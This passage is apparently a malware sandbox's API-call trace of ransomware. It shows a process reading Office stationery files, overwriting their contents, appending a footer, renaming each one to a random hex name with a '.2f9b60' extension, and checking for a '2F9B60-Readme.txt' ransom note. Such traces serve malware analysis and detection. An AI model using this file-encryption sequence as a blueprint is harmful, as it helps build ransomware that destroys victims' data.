files\\microsoft office\\stationery\\1033\\pinelumb.htm")) returned 0x20 [0117.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM", dwFileAttributes=0x20) returned 1 [0117.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x178c [0118.058] GetFileSizeEx (in: hFile=0x178c, lpFileSize=0x3c43f880 | out: lpFileSize=0x3c43f880*=489) returned 1 [0118.058] SetFilePointerEx (in: hFile=0x178c, liDistanceToMove=0x1e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.058] ReadFile (in: hFile=0x178c, lpBuffer=0x3c43f800, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c43f848, lpOverlapped=0x0 | out: lpBuffer=0x3c43f800*, lpNumberOfBytesRead=0x3c43f848*=0x4, lpOverlapped=0x0) returned 1 [0118.060] SetFilePointerEx (in: hFile=0x178c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa890 [0118.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa290 [0118.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5c0 [0118.060] NtQuerySystemTime (in: CurrentTime=0x3c43f740 | out: CurrentTime=0x3c43f740*=132462177234970000) returned 0x0 [0118.060] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x33c05afd [0118.060] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x2188ed93 [0118.061] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x6e61d63 [0118.061] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x63058ba3 [0118.061] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x48e9be3b [0118.061] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x9c5435f [0118.061] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x42e9cf22 [0118.061] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x31531b47 [0118.061] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x2d67ad1 [0118.061] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x30ff3bd0 [0118.061] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x9a0a840 [0118.061] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x3de9eab3 [0118.061] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x99c2e40 [0118.061] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x250c7017 [0118.061] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x35620c6f [0118.061] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x1ef3015 [0118.061] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x4aa1c101 [0118.061] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x52f7f6ff [0118.061] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x3d883ce [0118.061] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x7ecda7c3 [0118.062] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x7c710800 [0118.062] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0xa5441e [0118.062] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x445abc6a [0118.062] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x4dadee05 [0118.062] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x16e20347 [0118.062] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x5bfeb3f [0118.062] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x43e53e80 [0118.062] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x337c1441 [0118.062] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x76075431 [0118.062] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x6795a6e6 [0118.062] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x18817555 [0118.062] RtlRandomEx (in: Seed=0x3c43f730 | out: Seed=0x3c43f730) returned 0x12021456 [0118.077] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa500 [0118.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0118.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa560 [0118.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0118.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5c0) returned 1 [0118.078] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa890) returned 1 [0118.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0118.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0118.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa890 [0118.079] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa890) returned 1 [0118.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fc0d80 [0118.079] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fb5950 [0118.079] ReadFile (in: hFile=0x178c, lpBuffer=0x41fc0d80, nNumberOfBytesToRead=0x1e9, lpNumberOfBytesRead=0x3c43f730, lpOverlapped=0x0 | out: lpBuffer=0x41fc0d80*, lpNumberOfBytesRead=0x3c43f730*=0x1e9, lpOverlapped=0x0) returned 1 [0118.079] SetFilePointerEx (in: hFile=0x178c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.079] WriteFile (in: hFile=0x178c, lpBuffer=0x41fb5950*, nNumberOfBytesToWrite=0x1e9, lpNumberOfBytesWritten=0x3c43f734, lpOverlapped=0x0 | out: lpBuffer=0x41fb5950*, lpNumberOfBytesWritten=0x3c43f734*=0x1e9, lpOverlapped=0x0) returned 1 [0118.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0118.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8611d0 [0118.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8611d0) returned 1 [0118.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fb5950) returned 1 [0118.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fc0d80) returned 1 [0118.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0118.123] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0118.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b8611d0 [0118.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0118.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e3f0 [0118.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860990 [0118.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860990) returned 1 [0118.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b860990 [0118.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860810 [0118.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861260 [0118.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861260) returned 1 [0118.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e3f0) returned 1 [0118.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0118.125] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167820 [0118.125] SetFilePointerEx (in: hFile=0x178c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0118.125] WriteFile (in: hFile=0x178c, lpBuffer=0x167820*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3c43f850, lpOverlapped=0x0 | out: lpBuffer=0x167820*, lpNumberOfBytesWritten=0x3c43f850*=0x10a, lpOverlapped=0x0) returned 1 [0118.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c620 [0118.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0118.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa2c0 [0118.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa2c0) returned 1 [0118.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0118.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa2c0 [0118.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa70 [0118.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa70) returned 1 [0118.150] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0118.151] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c620) returned 1 [0118.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d86c0 [0118.151] sprintf (in: _Dest=0x1b7d86c0, _Format="%c%c" | out: _Dest="a2") returned 2 [0118.151] sprintf (in: _Dest=0x1b7d86c2, _Format="%c%c" | out: _Dest="81") returned 2 [0118.151] sprintf (in: _Dest=0x1b7d86c4, _Format="%c%c" | out: _Dest="d2") returned 2 [0118.151] sprintf (in: _Dest=0x1b7d86c6, _Format="%c%c" | out: _Dest="49") returned 2 [0118.151] sprintf (in: _Dest=0x1b7d86c8, _Format="%c%c" | out: _Dest="01") returned 2 [0118.151] sprintf (in: _Dest=0x1b7d86ca, _Format="%c%c" | out: _Dest="cc") returned 2 [0118.151] sprintf (in: _Dest=0x1b7d86cc, _Format="%c%c" | out: _Dest="c7") returned 2 [0118.151] sprintf (in: _Dest=0x1b7d86ce, _Format="%c%c" | out: _Dest="e2") returned 2 [0118.151] sprintf (in: _Dest=0x1b7d86d0, _Format="%c%c" | out: _Dest="18") returned 2 [0118.151] sprintf (in: _Dest=0x1b7d86d2, _Format="%c%c" | out: _Dest="8c") returned 2 [0118.151] sprintf (in: _Dest=0x1b7d86d4, _Format="%c%c" | out: _Dest="3d") returned 2 [0118.151] sprintf (in: _Dest=0x1b7d86d6, _Format="%c%c" | out: _Dest="df") returned 2 [0118.151] sprintf (in: _Dest=0x1b7d86d8, _Format="%c%c" | out: _Dest="1b") returned 2 [0118.151] sprintf (in: _Dest=0x1b7d86da, _Format="%c%c" | out: _Dest="95") returned 2 [0118.151] sprintf (in: _Dest=0x1b7d86dc, _Format="%c%c" | out: _Dest="28") returned 2 [0118.151] sprintf (in: _Dest=0x1b7d86de, _Format="%c%c" | out: _Dest="45") returned 2 [0118.151] sprintf (in: _Dest=0x1b7d86e0, _Format="%c%c" | out: _Dest="4c") returned 2 [0118.151] sprintf (in: _Dest=0x1b7d86e2, _Format="%c%c" | out: _Dest="63") returned 2 [0118.151] sprintf (in: _Dest=0x1b7d86e4, _Format="%c%c" | out: _Dest="65") returned 2 [0118.152] sprintf (in: _Dest=0x1b7d86e6, _Format="%c%c" | out: _Dest="03") returned 2 [0118.152] sprintf (in: _Dest=0x1b7d86e8, _Format="%c%c" | out: _Dest="e9") returned 2 [0118.152] sprintf (in: _Dest=0x1b7d86ea, _Format="%c%c" | out: _Dest="5b") returned 2 [0118.152] sprintf (in: _Dest=0x1b7d86ec, _Format="%c%c" | out: _Dest="02") returned 2 [0118.152] sprintf (in: _Dest=0x1b7d86ee, _Format="%c%c" | out: _Dest="c9") returned 2 [0118.152] RtlInitAnsiString (in: DestinationString=0x3c43f8c8, SourceString="a281d24901ccc7e2188c3ddf1b9528454c636503e95b02c9" | out: DestinationString="a281d24901ccc7e2188c3ddf1b9528454c636503e95b02c9") [0118.152] RtlAnsiStringToUnicodeString (in: DestinationString=0x3c43f898, SourceString="a281d24901ccc7e2188c3ddf1b9528454c636503e95b02c9", AllocateDestinationString=1 | out: DestinationString="a281d24901ccc7e2188c3ddf1b9528454c636503e95b02c9") returned 0x0 [0118.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced8ec0 [0118.152] RtlFreeAnsiString (AnsiString="a") [0118.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d86c0) returned 1 [0118.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0118.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa2c0) returned 1 [0118.152] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167820) returned 1 [0118.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860990) returned 1 [0118.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860810) returned 1 [0118.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8611d0) returned 1 [0118.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0118.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa290) returned 1 [0118.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa500) returned 1 [0118.153] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa560) returned 1 [0118.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7acf80 [0118.153] wcscat (in: _Dest=0x1b7acf80, _Source="a281d24901cc" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\a281d24901cc") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\a281d24901cc" [0118.153] wcscat (in: _Dest=0x1b7acf80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\a281d24901cc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\a281d24901cc.2f9b60" [0118.153] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\a281d24901cc.2f9b60", NtPathName=0x3c43f870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Stationery\\1033\\a281d24901cc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0118.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202786b0 [0118.153] NtSetInformationFile (FileHandle=0x178c, IoStatusBlock=0x3c43f910, FileInformation=0x202786b0, Length=0xaa, FileInformationClass=0xa) returned 0x0 [0118.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202786b0) returned 1 [0118.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46ec0) returned 1 [0118.347] NtQueryInformationFile (in: FileHandle=0x178c, IoStatusBlock=0x3c43f8d8, FileInformation=0x3c43f8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3c43f8d8, FileInformation=0x3c43f8e8) returned 0x0 [0118.347] NtSetInformationFile (FileHandle=0x178c, IoStatusBlock=0x3c43f8d8, FileInformation=0x3c43f8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0118.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7acf80) returned 1 [0118.349] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8ec0) returned 1 [0118.349] FlushFileBuffers (hFile=0x178c) returned 1 [0118.357] CloseHandle (hObject=0x178c) returned 1 [0118.358] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7adfc0 [0118.359] wcscpy (in: _Dest=0x1b7adfc0, _Source="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\" [0118.359] wcscat (in: _Dest=0x1b7adfc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" [0118.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\2f9b60-readme.txt")) returned 0x20 [0118.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0118.359] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ba60) returned 1 Thread: id = 1323 os_tid = 0xed8 [0117.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.jpg")) returned 0x20 [0117.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG", dwFileAttributes=0x20) returned 1 [0117.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe60 [0118.032] GetFileSizeEx (in: hFile=0xe60, lpFileSize=0x3c26fd80 | out: lpFileSize=0x3c26fd80*=3981) returned 1 [0118.032] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0xf89, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.032] ReadFile (in: hFile=0xe60, lpBuffer=0x3c26fd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3c26fd48, lpOverlapped=0x0 | out: lpBuffer=0x3c26fd00*, lpNumberOfBytesRead=0x3c26fd48*=0x4, lpOverlapped=0x0) returned 1 [0118.106] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0118.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fe80 [0118.106] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8611d0 [0118.106] NtQuerySystemTime (in: CurrentTime=0x3c26fc40 | out: CurrentTime=0x3c26fc40*=132462177235438000) returned 0x0 [0118.106] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x4a5bef70 [0118.106] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x3334d506 [0118.106] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x43f26997 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x36de5d3a [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x59e1540 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x4c2d37e8 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x1017c0ff [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x23597a40 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x319ec046 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x458929d9 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x5304bf42 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x29aa8d14 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x5e06d4bd [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x2c98f906 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x3037f993 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x5c7999f2 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x7f18b5b8 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x439506e9 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x4187d7f6 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x7132c73c [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x1b9c3626 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x2e1f7f13 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x6472d06e [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x38538513 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x383e34e5 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x1c12e90a [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x44442d0a [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x1ae28143 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x4bf50bba [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x592a7d94 [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x1a23ea2a [0118.107] RtlRandomEx (in: Seed=0x3c26fc30 | out: Seed=0x3c26fc30) returned 0x51cf9b [0118.119] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8613b0 [0118.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d9f0 [0118.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861290 [0118.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0118.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8611d0) returned 1 [0118.120] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0118.120] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0118.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d9f0 [0118.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa4a0 [0118.121] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa4a0) returned 1 [0118.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41fcc1b0 [0118.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2020c1b0 [0118.121] ReadFile (in: hFile=0xe60, lpBuffer=0x41fcc1b0, nNumberOfBytesToRead=0xf8d, lpNumberOfBytesRead=0x3c26fc30, lpOverlapped=0x0 | out: lpBuffer=0x41fcc1b0*, lpNumberOfBytesRead=0x3c26fc30*=0xf8d, lpOverlapped=0x0) returned 1 [0118.121] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.122] WriteFile (in: hFile=0xe60, lpBuffer=0x2020c1b0*, nNumberOfBytesToWrite=0xf8d, lpNumberOfBytesWritten=0x3c26fc34, lpOverlapped=0x0 | out: lpBuffer=0x2020c1b0*, lpNumberOfBytesWritten=0x3c26fc34*=0xf8d, lpOverlapped=0x0) returned 1 [0118.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa620 [0118.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa650 [0118.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa650) returned 1 [0118.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2020c1b0) returned 1 [0118.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fcc1b0) returned 1 [0118.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0118.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0118.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202aa650 [0118.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0118.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d9f0 [0118.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa2f0 [0118.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa2f0) returned 1 [0118.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202aa2f0 [0118.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa890 [0118.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5c0 [0118.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5c0) returned 1 [0118.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d9f0) returned 1 [0118.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0118.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x168000 [0118.137] SetFilePointerEx (in: hFile=0xe60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0118.137] WriteFile (in: hFile=0xe60, lpBuffer=0x168000*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3c26fd50, lpOverlapped=0x0 | out: lpBuffer=0x168000*, lpNumberOfBytesWritten=0x3c26fd50*=0x10a, lpOverlapped=0x0) returned 1 [0118.304] 